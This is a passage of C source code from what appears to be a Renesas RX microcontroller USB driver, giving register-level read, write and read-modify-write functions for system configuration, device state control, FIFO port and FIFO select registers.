ptr->ipp->SYSCFG.WORD &= ~USB_DRPD;\n }\n} /* eof usb_creg_clr_drpd() */\n\n/******************************************************************************\nFunction Name : usb_creg_set_usbe\nDescription : Enable USB operation.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_set_usbe( USB_UTR_t *ptr )\n{\n ptr->ipp->SYSCFG.WORD |= USB_USBE;\n} /* eof usb_creg_set_usbe() */\n\n/******************************************************************************\nFunction Name : usb_creg_clr_usbe\nDescription : Enable USB operation.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_clr_usbe( USB_UTR_t *ptr )\n{\n ptr->ipp->SYSCFG.WORD &= ~USB_USBE;\n} /* eof usb_creg_clr_usbe() */\n\n#if defined(BSP_MCU_RX64M) || defined(BSP_MCU_RX71M)\n/***********/\n/* BUSWAIT */\n/***********/\n/* CPU Bus Wait Register */\n\n/******************************************************************************\nFunction Name : usb_creg_set_bus_wait\nDescription : Set BUSWAIT register.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_set_bus_wait( USB_UTR_t *ptr )\n{\n ptr -> ipp1 -> BUSWAIT.WORD = USB_BWAIT_7; // 67ns / (1 / 120MHz) = 8.04 -> 9 cycle -> 7 wait \n} /* eof usb_creg_set_bus_wait() */\n#endif /* #if defined(BSP_MCU_RX64M) || (BSP_MCU_RX71M) */\n\n/***********/\n/* SYSSTS0 */\n/***********/\n/* System Configuration Status Register 0 */\n\n/******************************************************************************\nFunction Name : usb_creg_read_syssts\nDescription : Returns the value of the specified port's SYSSTS register.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t port : USB port number. ($REA not used.)\nReturn value : SYSSTS0 content\n******************************************************************************/\nuint16_t usb_creg_read_syssts( USB_UTR_t *ptr, uint16_t port )\n{\n return (uint16_t)(ptr->ipp->SYSSTS0.WORD);\n} /* eof usb_creg_read_syssts() */\n\n/******************************************************************************\nFunction Name : usb_creg_write_syssts\nDescription : Write to the specified port's SYSSTS register.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t port : USB port number.\n : uint16_t data : The value to write\nReturn value : none\n******************************************************************************/\nvoid usb_creg_write_syssts( USB_UTR_t *ptr, uint16_t port, uint16_t data )\n{\n if( USB_PORT0 == port )\n {\n ptr->ipp->SYSSTS0.WORD = data;\n }\n} /* eof usb_creg_write_syssts() */\n\n/************/\n/* DVSTCTR0 */\n/************/\n/* Device State Control Register 0 */\n\n/******************************************************************************\nFunction Name : usb_creg_read_dvstctr\nDescription : Returns the specified port's DVSTCTR register content.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t port : USB port number. ($REA not used.)\nReturn value : DVSTCTR0 content\n******************************************************************************/\nuint16_t usb_creg_read_dvstctr( USB_UTR_t *ptr, uint16_t port )\n{\n return (uint16_t)(ptr->ipp->DVSTCTR0.WORD);\n} /* eof usb_creg_read_dvstctr() */\n\n/******************************************************************************\nFunction Name : usb_creg_write_dvstctr\nDescription : Write data to the specified port's DVSTCTR register.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t port : USB port number.\n : uint16_t data : The value to write.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_write_dvstctr( USB_UTR_t *ptr, uint16_t port, uint16_t data )\n{\n if( USB_PORT0 == port )\n {\n ptr->ipp->DVSTCTR0.WORD = data;\n }\n} /* eof usb_creg_write_dvstctr() */\n\n/******************************************************************************\nFunction Name : usb_creg_rmw_dvstctr\nDescription : Read-modify-write the specified port's DVSTCTR.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t port : Port number\n : uint16_t data : The value to write.\n : uint16_t bitptn: Bit pattern to read-modify-write.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_rmw_dvstctr( USB_UTR_t *ptr, uint16_t port, uint16_t data, uint16_t bitptn )\n{\n uint16_t buf;\n\n if( USB_PORT0 == port )\n {\n buf = ptr->ipp->DVSTCTR0.WORD;\n buf &= ~bitptn;\n buf |= (data & bitptn);\n ptr->ipp->DVSTCTR0.WORD = buf;\n }\n} /* eof usb_creg_rmw_dvstctr() */\n\n/******************************************************************************\nFunction Name : usb_creg_clr_dvstctr\nDescription : Clear the bit pattern specified in argument, of the specified \n : port's DVSTCTR register.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t port : Port number\n : uint16_t bitptn: Bit pattern to read-modify-write.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_clr_dvstctr( USB_UTR_t *ptr, uint16_t port,uint16_t bitptn)\n{\n if( USB_PORT0 == port )\n {\n ptr->ipp->DVSTCTR0.WORD &= ~bitptn;\n }\n} /* eof usb_creg_clr_dvstctr() */\n\n/******************************************************************************\nFunction Name : usb_creg_set_vbout\nDescription : Set specified port's VBOUT-bit in the DVSTCTR register.\n : (To output a \"High\" to pin VBOUT.) \nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t port : Port number\nReturn value : none\n******************************************************************************/\nvoid usb_creg_set_vbout( USB_UTR_t *ptr, uint16_t port )\n{\n if( USB_PORT0 == port )\n {\n // ptr->ipp->DVSTCTR0.WORD |= USB_VBUSEN;\n \tptr->ipp->DVSTCTR0.WORD &= ~USB_VBUSEN;\n }\n} /* eof usb_creg_set_vbout() */\n\n/******************************************************************************\nFunction Name : usb_creg_clr_vbout\nDescription : Clear specified port's VBOUT-bit in the DVSTCTR register.\n : (To output a \"Low\" to pin VBOUT.)\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t port : Port number\nReturn value : none\n******************************************************************************/\nvoid usb_creg_clr_vbout( USB_UTR_t *ptr, uint16_t port )\n{\n if( USB_PORT0 == port )\n {\n \tptr->ipp->DVSTCTR0.WORD |= USB_VBUSEN;\n // ptr->ipp->DVSTCTR0.WORD &= ~USB_VBUSEN;\n }\n} /* eof usb_creg_clr_vbout() */\n\n\n#if (USB1_IPTYPE_PP == USB_HS_PP)\n/******************************************************************************\nFunction Name : usb_creg_set_utst\nDescription : Not processed as the functionality is provided by R8A66597(ASSP).\nArguments : USB_UTR_t *ptr : \n : uint16_t data\nReturn value : none\n******************************************************************************/\nvoid usb_creg_set_utst( USB_UTR_t *ptr, uint16_t data )\n{\n#if defined(BSP_MCU_RX71M)\n ptr->ipp1->TESTMODE.WORD = data;\n#endif /* defined(BSP_MCU_RX71M) */\n} /* eof usb_creg_set_utst() */\n\n#endif /* (USB1_IPTYPE_PP == USB_HS_PP) */\n\n\n/************/\n/* PINCFG */\n/************/\n\n/******************************************************************************\nFunction Name : usb_creg_set_ldrv\nDescription : Not processed as the functionality is provided by R8A66597(ASSP).\nArguments : USB_UTR_t *ptr : \nReturn value : none\n******************************************************************************/\nvoid usb_creg_set_ldrv( USB_UTR_t *ptr )\n{\n} /* eof usb_creg_set_ldrv() */\n\n/******************************************************************************\nFunction Name : usb_creg_clr_ldrv\nDescription : Not processed as the functionality is provided by R8A66597(ASSP).\nArguments : USB_UTR_t *ptr : USB system internal data.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_clr_ldrv( USB_UTR_t *ptr )\n{\n} /* eof usb_creg_clr_ldrv() */\n\n/*********************************/\n/* DMA0CFG, DMA1CFG for 597ASSP */\n/*********************************/\n\n/******************************************************************************\nFunction Name : usb_creg_write_dmacfg\nDescription : Not processed as the functionality is provided by R8A66597(ASSP).\nArguments : USB_UTR_t *ptr : USB system internal data.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_write_dmacfg( USB_UTR_t *ptr, uint16_t pipemode, uint16_t data )\n{\n} /* eof usb_creg_write_dmacfg() */\n\n/***************************/\n/* CFIFO, D0FIFO, D1FIFO */\n/***************************/\n/* FIFO Port Register */\n\n/******************************************************************************\nFunction Name : usb_creg_read_fifo32\nDescription : Data is read from the specified pipemode's FIFO register, 32-bits \n : wide, corresponding to the specified PIPEMODE.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t pipemode : CUSE/D0DMA/D1DMA\nReturn value : CFIFO/D0FIFO/D1FIFO content (32-bit)\n******************************************************************************/\nuint32_t usb_creg_read_fifo32( USB_UTR_t *ptr, uint16_t pipemode )\n{\n#if defined(BSP_MCU_RX64M) || (BSP_MCU_RX71M)\n uint32_t data;\n switch( pipemode )\n {\n case USB_CUSE:\n data = ptr->ipp1->CFIFO.LONG;\n break;\n case USB_D0USE:\n#ifdef USB_DTC_ENABLE\n case USB_D0DMA:\n#endif /* USB_DTC_ENABLE */\n data = ptr->ipp1->D0FIFO.LONG;\n break;\n case USB_D1USE:\n#ifdef USB_DTC_ENABLE\n case USB_D1DMA:\n#endif /* USB_DTC_ENABLE */\n data = ptr->ipp1->D1FIFO.LONG;\n break;\n default:\n USB_DEBUG_HOOK( USB_DEBUG_HOOK_STD | USB_DEBUG_HOOK_CODE2 );\n break;\n }\n return data;\n#else /* defined(BSP_MCU_RX64M) || defined(BSP_MCU_RX71M) */\n return (uint32_t)0;\n#endif /* defined(BSP_MCU_RX64M) || defined(BSP_MCU_RX71M) */\n\n} /* eof usb_creg_read_fifo32() */\n\n/******************************************************************************\nFunction Name : usb_creg_write_fifo32\nDescription : Data is written to the specified pipemode's FIFO register, 32-bits \n : wide, corresponding to the specified PIPEMODE.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t pipemode : CUSE/D0DMA/D1DMA\n : uint32_t data : The value to write.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_write_fifo32( USB_UTR_t *ptr, uint16_t pipemode, uint32_t data )\n{\n#if defined(BSP_MCU_RX64M) || (BSP_MCU_RX71M)\n switch( pipemode )\n {\n case USB_CUSE:\n ptr->ipp1->CFIFO.LONG = data;\n break;\n case USB_D0USE:\n#ifdef USB_DTC_ENABLE\n case USB_D0DMA:\n#endif /* USB_DTC_ENABLE */\n ptr->ipp1->D0FIFO.LONG = data;\n break;\n case USB_D1USE:\n#ifdef USB_DTC_ENABLE\n case USB_D1DMA:\n#endif /* USB_DTC_ENABLE */\n ptr->ipp1->D1FIFO.LONG = data;\n break;\n default:\n USB_DEBUG_HOOK( USB_DEBUG_HOOK_STD | USB_DEBUG_HOOK_CODE3 );\n break;\n }\n#endif /* defined(BSP_MCU_RX64M) || defined(BSP_MCU_RX71M) */\n} /* eof usb_creg_write_fifo32() */\n\n/******************************************************************************\nFunction Name : usb_creg_read_fifo16\nDescription : Data is read from the specified pipemode's FIFO register, 16-bits \n : wide, corresponding to the specified PIPEMODE.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t pipemode : CUSE/D0DMA/D1DMA\nReturn value : CFIFO/D0FIFO/D1FIFO content (16-bit)\n******************************************************************************/\nuint16_t usb_creg_read_fifo16( USB_UTR_t *ptr, uint16_t pipemode )\n{\n uint16_t data;\n if (ptr -> ip == USB_USBIP_0 )\n {\n switch( pipemode )\n {\n case USB_CUSE:\n data = ptr->ipp->CFIFO.WORD;\n break;\n case USB_D0USE:\n#ifdef USB_DTC_ENABLE\n case USB_D0DMA:\n#endif /* USB_DTC_ENABLE */\n data = ptr->ipp->D0FIFO.WORD;\n break;\n case USB_D1USE:\n#ifdef USB_DTC_ENABLE\n case USB_D1DMA:\n#endif /* USB_DTC_ENABLE */\n data = ptr->ipp->D1FIFO.WORD;\n break;\n default:\n USB_DEBUG_HOOK( USB_DEBUG_HOOK_STD | USB_DEBUG_HOOK_CODE4 );\n break;\n }\n }\n#if defined(BSP_MCU_RX64M) || (BSP_MCU_RX71M)\n else if ( ptr->ip == USB_USBIP_1 )\n {\n switch( pipemode )\n {\n#if USB_CPUBYTE_PP == USB_BYTE_LITTLE_PP\n case USB_CUSE:\n data = ptr->ipp1->CFIFO.WORD.H;\n break;\n case USB_D0USE:\n#ifdef USB_DTC_ENABLE\n case USB_D0DMA:\n#endif /* USB_DTC_ENABLE */\n data = ptr->ipp1->D0FIFO.WORD.H;\n break;\n case USB_D1USE:\n#ifdef USB_DTC_ENABLE\n case USB_D1DMA:\n#endif /* USB_DTC_ENABLE */\n data = ptr->ipp1->D1FIFO.WORD.H;\n break;\n#else /* USB_CPUBYTE_PP == USB_BYTE_LITTLE_PP */\n case USB_CUSE:\n data = ptr->ipp1->CFIFO.WORD.L;\n break;\n case USB_D0USE:\n#ifdef USB_DTC_ENABLE\n case USB_D0DMA:\n#endif /* USB_DTC_ENABLE */\n data = ptr->ipp1->D0FIFO.WORD.L;\n break;\n case USB_D1USE:\n#ifdef USB_DTC_ENABLE\n case USB_D1DMA:\n#endif /* USB_DTC_ENABLE */\n data = ptr->ipp1->D1FIFO.WORD.L;\n break;\n#endif /* USB_CPUBYTE_PP == USB_BYTE_LITTLE_PP */\n default:\n USB_DEBUG_HOOK( USB_DEBUG_HOOK_STD | USB_DEBUG_HOOK_CODE5 );\n break;\n }\n }\n#endif /* defined(BSP_MCU_RX64M) || defined(BSP_MCU_RX71M) */\n return data;\n} /* eof usb_creg_read_fifo16() */\n\n/******************************************************************************\nFunction Name : usb_creg_write_fifo16\nDescription : Data is written to the specified pipemode's FIFO register, 16-bits \n : wide, corresponding to the specified PIPEMODE.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t pipemode : CUSE/D0DMA/D1DMA\n : uint16_t data : The value to write.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_write_fifo16( USB_UTR_t *ptr, uint16_t pipemode, uint16_t data )\n{\n if ( ptr->ip == USB_USBIP_0 )\n {\n switch( pipemode )\n {\n case USB_CUSE:\n ptr->ipp->CFIFO.WORD = data;\n break;\n case USB_D0USE:\n#ifdef USB_DTC_ENABLE\n case USB_D0DMA:\n#endif /* USB_DTC_ENABLE */\n ptr->ipp->D0FIFO.WORD = data;\n break;\n case USB_D1USE:\n#ifdef USB_DTC_ENABLE\n case USB_D1DMA:\n#endif /* USB_DTC_ENABLE */\n ptr->ipp->D1FIFO.WORD = data;\n break;\n default:\n USB_DEBUG_HOOK( USB_DEBUG_HOOK_STD | USB_DEBUG_HOOK_CODE6 );\n break;\n }\n }\n#if defined(BSP_MCU_RX64M) || defined(BSP_MCU_RX71M)\n else if ( ptr->ip == USB_USBIP_1 )\n {\n switch( pipemode )\n {\n#if USB_CPUBYTE_PP == USB_BYTE_LITTLE_PP\n case USB_CUSE:\n ptr->ipp1->CFIFO.WORD.H = data;\n break;\n case USB_D0USE:\n#ifdef USB_DTC_ENABLE\n case USB_D0DMA:\n#endif /* USB_DTC_ENABLE */\n ptr->ipp1->D0FIFO.WORD.H = data;\n break;\n case USB_D1USE:\n#ifdef USB_DTC_ENABLE\n case USB_D1DMA:\n#endif /* USB_DTC_ENABLE */\n ptr->ipp1->D1FIFO.WORD.H = data;\n break;\n#else /* USB_CPUBYTE_PP == USB_BYTE_LITTLE_PP */\n case USB_CUSE:\n ptr->ipp1->CFIFO.WORD.L = data;\n break;\n case USB_D0USE:\n#ifdef USB_DTC_ENABLE\n case USB_D0DMA:\n#endif /* USB_DTC_ENABLE */\n ptr->ipp1->D0FIFO.WORD.L = data;\n break;\n case USB_D1USE:\n#ifdef USB_DTC_ENABLE\n case USB_D1DMA:\n#endif /* USB_DTC_ENABLE */\n ptr->ipp1->D1FIFO.WORD.L = data;\n break;\n#endif /* USB_CPUBYTE_PP == USB_BYTE_LITTLE_PP */\n default:\n USB_DEBUG_HOOK( USB_DEBUG_HOOK_STD | USB_DEBUG_HOOK_CODE7 );\n break;\n }\n }\n#endif /* #if defined(BSP_MCU_RX64M) || (BSP_MCU_RX71M) */\n} /* eof usb_creg_write_fifo16() */\n\n/******************************************************************************\nFunction Name : usb_creg_read_fifo8\nDescription : Data is read from the specified pipemode's FIFO register, 8-bits \n : wide, corresponding to the specified PIPEMODE.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t pipemode : CUSE/D0DMA/D1DMA.\nReturn value : CFIFO/D0FIFO/D1FIFO(8-bit)\n******************************************************************************/\nuint8_t usb_creg_read_fifo8( USB_UTR_t *ptr, uint16_t pipemode )\n{\n uint8_t buf;\n if ( ptr->ip == USB_USBIP_0 )\n {\n switch( pipemode )\n {\n case USB_CUSE:\n buf = ptr->ipp->CFIFO.BYTE.L;\n break;\n case USB_D0USE:\n#ifdef USB_DTC_ENABLE\n case USB_D0DMA:\n#endif /* USB_DTC_ENABLE */\n buf = ptr->ipp->D0FIFO.BYTE.L;\n break;\n case USB_D1USE:\n#ifdef USB_DTC_ENABLE\n case USB_D1DMA:\n#endif /* USB_DTC_ENABLE */\n buf = ptr->ipp->D1FIFO.BYTE.L;\n break;\n default:\n USB_DEBUG_HOOK( USB_DEBUG_HOOK_STD | USB_DEBUG_HOOK_CODE8 );\n break;\n }\n }\n#if defined(BSP_MCU_RX64M) || defined(BSP_MCU_RX71M)\n else if ( ptr->ip == USB_USBIP_1 )\n {\n switch( pipemode )\n {\n#if USB_CPUBYTE_PP == USB_BYTE_LITTLE_PP\n case USB_CUSE:\n buf = ptr->ipp1->CFIFO.BYTE.HH;\n break;\n case USB_D0USE:\n#ifdef USB_DTC_ENABLE\n case USB_D0DMA:\n#endif /* USB_DTC_ENABLE */\n buf = ptr->ipp1->D0FIFO.BYTE.HH;\n break;\n case USB_D1USE:\n#ifdef USB_DTC_ENABLE\n case USB_D1DMA:\n#endif /* USB_DTC_ENABLE */\n buf = ptr->ipp1->D1FIFO.BYTE.HH;\n break;\n#else /* USB_CPUBYTE_PP == USB_BYTE_LITTLE_PP */\n case USB_CUSE:\n buf = ptr->ipp1->CFIFO.BYTE.LL;\n break;\n case USB_D0USE:\n#ifdef USB_DTC_ENABLE\n case USB_D0DMA:\n#endif /* USB_DTC_ENABLE */\n buf = ptr->ipp1->D0FIFO.BYTE.LL;\n break;\n case USB_D1USE:\n#ifdef USB_DTC_ENABLE\n case USB_D1DMA:\n#endif /* USB_DTC_ENABLE */\n buf = ptr->ipp1->D1FIFO.BYTE.LL;\n break;\n#endif /* USB_CPUBYTE_PP == USB_BYTE_LITTLE_PP */\n default:\n USB_DEBUG_HOOK( USB_DEBUG_HOOK_STD | USB_DEBUG_HOOK_CODE9 );\n break;\n }\n }\n#endif /* #if defined(BSP_MCU_RX64M) || (BSP_MCU_RX71M) */\n return buf;\n} /* eof usb_creg_read_fifo8() */\n\n/******************************************************************************\nFunction Name : usb_creg_write_fifo8\nDescription : Data is written to the specified pipemode's FIFO register, 8-bits \n : wide, corresponding to the specified PIPEMODE.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t pipdemode : CUSE/D0DMA/D1DMA\n : uint8_t data : The value to write.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_write_fifo8( USB_UTR_t *ptr, uint16_t pipemode, uint8_t data )\n{\n if ( ptr->ip == USB_USBIP_0 )\n {\n switch( pipemode )\n {\n case USB_CUSE:\n ptr->ipp->CFIFO.BYTE.L = data;\n break;\n case USB_D0USE:\n#ifdef USB_DTC_ENABLE\n case USB_D0DMA:\n#endif /* USB_DTC_ENABLE */\n ptr->ipp->D0FIFO.BYTE.L = data;\n break;\n case USB_D1USE:\n#ifdef USB_DTC_ENABLE\n case USB_D1DMA:\n#endif /* USB_DTC_ENABLE */\n ptr->ipp->D1FIFO.BYTE.L = data;\n break;\n default:\n USB_DEBUG_HOOK( USB_DEBUG_HOOK_STD | USB_DEBUG_HOOK_CODE10 );\n break;\n }\n }\n#if defined(BSP_MCU_RX64M) || defined(BSP_MCU_RX71M)\n else if ( ptr->ip == USB_USBIP_1 )\n {\n switch( pipemode )\n {\n#if USB_CPUBYTE_PP == USB_BYTE_LITTLE_PP\n case USB_CUSE:\n ptr->ipp1->CFIFO.BYTE.HH = data;\n break;\n case USB_D0USE:\n#ifdef USB_DTC_ENABLE\n case USB_D0DMA:\n#endif /* USB_DTC_ENABLE */\n ptr->ipp1->D0FIFO.BYTE.HH = data;\n break;\n case USB_D1USE:\n#ifdef USB_DTC_ENABLE\n case USB_D1DMA:\n#endif /* USB_DTC_ENABLE */\n ptr->ipp1->D1FIFO.BYTE.HH = data;\n break;\n#else /* USB_CPUBYTE_PP == USB_BYTE_LITTLE_PP */\n case USB_CUSE:\n ptr->ipp1->CFIFO.BYTE.LL = data;\n break;\n case USB_D0USE:\n#ifdef USB_DTC_ENABLE\n case USB_D0DMA:\n#endif /* USB_DTC_ENABLE */\n ptr->ipp1->D0FIFO.BYTE.LL = data;\n break;\n case USB_D1USE:\n#ifdef USB_DTC_ENABLE\n case USB_D1DMA:\n#endif /* USB_DTC_ENABLE */\n ptr->ipp1->D1FIFO.BYTE.LL = data;\n break;\n#endif /* USB_CPUBYTE_PP == USB_BYTE_LITTLE_PP */\n default:\n USB_DEBUG_HOOK( USB_DEBUG_HOOK_STD | USB_DEBUG_HOOK_CODE11 );\n break;\n }\n }\n#endif /* #if defined(BSP_MCU_RX64M) || (BSP_MCU_RX71M) */\n} /* eof usb_creg_write_fifo8() */\n\n/**********************************/\n/* CFIFOSEL, D0FIFOSEL, D1FIFOSEL */\n/**********************************/\n/* FIFO Port Select Register */\n\n/******************************************************************************\nFunction Name : usb_creg_get_fifosel_adr\nDescription : Returns the *address* of the FIFOSEL register corresponding to \n : specified PIPEMODE.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t pipemode : CUSE/D0DMA/D1DMA\nReturn value : none\n******************************************************************************/\nstatic void *usb_creg_get_fifosel_adr( USB_UTR_t *ptr, uint16_t pipemode )\n{\n void *reg_p;\n\n switch( pipemode )\n {\n case USB_CUSE:\n reg_p = (void *)&(ptr->ipp->CFIFOSEL);\n break;\n case USB_D0USE:\n#ifdef USB_DTC_ENABLE\n case USB_D0DMA:\n#endif /* USB_DTC_ENABLE */\n reg_p = (void *)&(ptr->ipp->D0FIFOSEL);\n break;\n case USB_D1USE:\n#ifdef USB_DTC_ENABLE\n case USB_D1DMA:\n#endif /* USB_DTC_ENABLE */\n reg_p = (void *)&(ptr->ipp->D1FIFOSEL);\n break;\n default:\n USB_DEBUG_HOOK( USB_DEBUG_HOOK_STD | USB_DEBUG_HOOK_CODE12 );\n break;\n }\n return reg_p;\n} /* eof usb_creg_get_fifosel_adr() */\n\n/******************************************************************************\nFunction Name : usb_creg_read_fifosel\nDescription : Returns the value of the specified pipemode's FIFOSEL register.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t pipemode : CUSE/D0DMA/D1DMA\nReturn value : FIFOSEL content\n******************************************************************************/\nuint16_t usb_creg_read_fifosel( USB_UTR_t *ptr, uint16_t pipemode )\n{\n volatile uint16_t *reg_p;\n\n reg_p = (uint16_t *)usb_creg_get_fifosel_adr( ptr, pipemode );\n\n return *reg_p;\n} /* eof usb_creg_read_fifosel() */\n\n/******************************************************************************\nFunction Name : usb_creg_write_fifosel\nDescription : Data is written to the specified pipemode's FIFOSEL register, 8-bits \n : wide, corresponding to the specified PIPEMODE.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t pipemode : CUSE/D0DMA/D1DMA\n : uint16_t data : The value to write.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_write_fifosel( USB_UTR_t *ptr, uint16_t pipemode, uint16_t data )\n{\n volatile uint16_t *reg_p;\n\n reg_p = (uint16_t *)usb_creg_get_fifosel_adr( ptr, pipemode );\n\n *reg_p = data;\n} /* eof usb_creg_write_fifosel() */\n\n/******************************************************************************\nFunction Name : usb_creg_rmw_fifosel\nDescription : Data is written to the specified pipemode's FIFOSEL register \n : (the FIFOSEL corresponding to the specified PIPEMODE), using \n : read-modify-write.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t pipemode : CUSE/D0DMA/D1DMA.\n : uint16_t data : The value to write.\n : uint16_t bitptn : bitptn: Bit pattern to read-modify-write.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_rmw_fifosel( USB_UTR_t *ptr, uint16_t pipemode, uint16_t data, uint16_t bitptn )\n{\n uint16_t buf;\n volatile uint16_t *reg_p;\n\n reg_p = (uint16_t *)usb_creg_get_fifosel_adr( ptr, pipemode );\n\n buf = *reg_p;\n buf &= ~bitptn;\n buf |= (data & bitptn);\n *reg_p = buf;\n} /* eof usb_creg_rmw_fifosel() */\n\n/******************************************************************************\nFunction Name : usb_creg_set_dclrm\nDescription : Set DCLRM-bits (FIFO buffer auto clear) of the FIFOSEL cor-\n : responding to specified PIPEMODE.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t pipemode : CUSE/D0DMA/D1DMA.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_set_dclrm( USB_UTR_t *ptr, uint16_t pipemode )\n{\n volatile uint16_t *reg_p;\n\n reg_p = (uint16_t *)usb_creg_get_fifosel_adr( ptr, pipemode );\n\n *reg_p |= USB_DCLRM;\n} /* eof usb_creg_set_dclrm() */\n\n/******************************************************************************\nFunction Name : usb_creg_clr_dclrm\nDescription : Reset DCLRM-bits (FIFO buffer not auto-cleared) of the FIFOSEL \n : corresponding to the specified PIPEMODE.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t pipemode : CUSE/D0DMA/D1DMA.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_clr_dclrm( USB_UTR_t *ptr, uint16_t pipemode )\n{\n volatile uint16_t *reg_p;\n\n reg_p = usb_creg_get_fifosel_adr( ptr, pipemode );\n\n *reg_p &= ~USB_DCLRM;\n} /* eof usb_creg_clr_dclrm() */\n\n/******************************************************************************\nFunction Name : usb_creg_set_dreqe\nDescription : Set DREQE-bits (to output signal DxREQ_Na) of the FIFOSEL cor-\n : responding to specified PIPEMODE.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t pipemode : CUSE/D0DMA/D1DMA.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_set_dreqe( USB_UTR_t *ptr, uint16_t pipemode )\n{\n volatile uint16_t *reg_p;\n\n reg_p = usb_creg_get_fifosel_adr( ptr, pipemode );\n\n *reg_p |= USB_DREQE;\n} /* eof usb_creg_set_dreqe() */\n\n/******************************************************************************\nFunction Name : usb_creg_clr_dreqe\nDescription : Clear DREQE-bits (To prohibit the output of the signal DxREQ_N)\n : of the FIFOSEL corresponding to the specified PIPEMODE.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t pipemode : CUSE/D0DMA/D1DMA\nReturn value : none\n******************************************************************************/\nvoid usb_creg_clr_dreqe( USB_UTR_t *ptr, uint16_t pipemode )\n{\n volatile uint16_t *reg_p;\n\n reg_p = usb_creg_get_fifosel_adr( ptr, pipemode );\n\n *reg_p &= ~USB_DREQE;\n} /* eof usb_creg_clr_dreqe() */\n\n/******************************************************************************\nFunction Name : usb_creg_set_mbw\nDescription : Set MBW-bits (CFIFO Port Access Bit Width) of the FIFOSEL cor-\n : responding to the specified PIPEMODE, to select 8 or 16-bit \n : wide FIFO port access.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t pipemode : CUSE/D0DMA/D1DMA.\n : uint16_t data : Defined value of 8 (data = 0x0000) or 16 bit \n : (data = 0x0400), 32 bit (data = 0x0800) access mode.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_set_mbw( USB_UTR_t *ptr, uint16_t pipemode, uint16_t data )\n{\n volatile uint16_t *reg_p;\n\n reg_p = usb_creg_get_fifosel_adr( ptr, pipemode );\n if( ptr->ip == USB_USBIP_0 )\n {\n if( data != 0 )\n {\n *reg_p |= USB_MBW_16;\n }\n else\n {\n *reg_p &= ~USB_MBW_16;\n }\n }\n else if ( ptr->ip == USB_USBIP_1 )\n {\n *reg_p &= ~USB_MBW;\n\n if( data != 0 )\n {\n *reg_p |= data;\n }\n }\n} /* eof usb_creg_set_mbw() */\n\n/******************************************************************************\nFunction Name : usb_creg_set_bigend\nDescription : Set BIGEND-bit of the FIFOSEL corresponding to the specified \n : PIPEMODE to select big or little endian of CFIFO.\n : mode of the CFIFO.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t pipemode : CUSE/D0DMA/D1DMA.\n : uint16_t data : Defined value of big/little endian.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_set_bigend( USB_UTR_t *ptr, uint16_t pipemode, uint16_t data )\n{\n volatile uint16_t *reg_p;\n\n reg_p = usb_creg_get_fifosel_adr( ptr, pipemode );\n\n if( data != 0 )\n {\n *reg_p |= USB_BIGEND;\n }\n else\n {\n *reg_p &= ~USB_BIGEND;\n }\n} /* eof usb_creg_set_bigend() */\n\n/******************************************************************************\nFunction Name : usb_creg_set_curpipe\nDescription : Set pipe to the number given; in the FIFOSEL corresponding \n : to specified PIPEMODE.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t pipemode : CUSE/D0DMA/D1DMA.\n : uint16_t pipeno : Pipe number.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_set_curpipe( USB_UTR_t *ptr, uint16_t pipemode, uint16_t pipeno )\n{\n volatile uint16_t *reg_p;\n uint16_t reg;\n\n reg_p = usb_creg_get_fifosel_adr( ptr, pipemode );\n reg = *reg_p;\n\n reg &= ~USB_CURPIPE;\n reg |= pipeno;\n \n *reg_p = reg;\n} /* eof usb_creg_set_curpipe() */\n\n/**********************************/\n/* CFIFOCTR, D0FIFOCTR, D1FIFOCTR */\n/**********************************/\n/* FIFO control Registers */\n\n/******************************************************************************\nFunction Name : 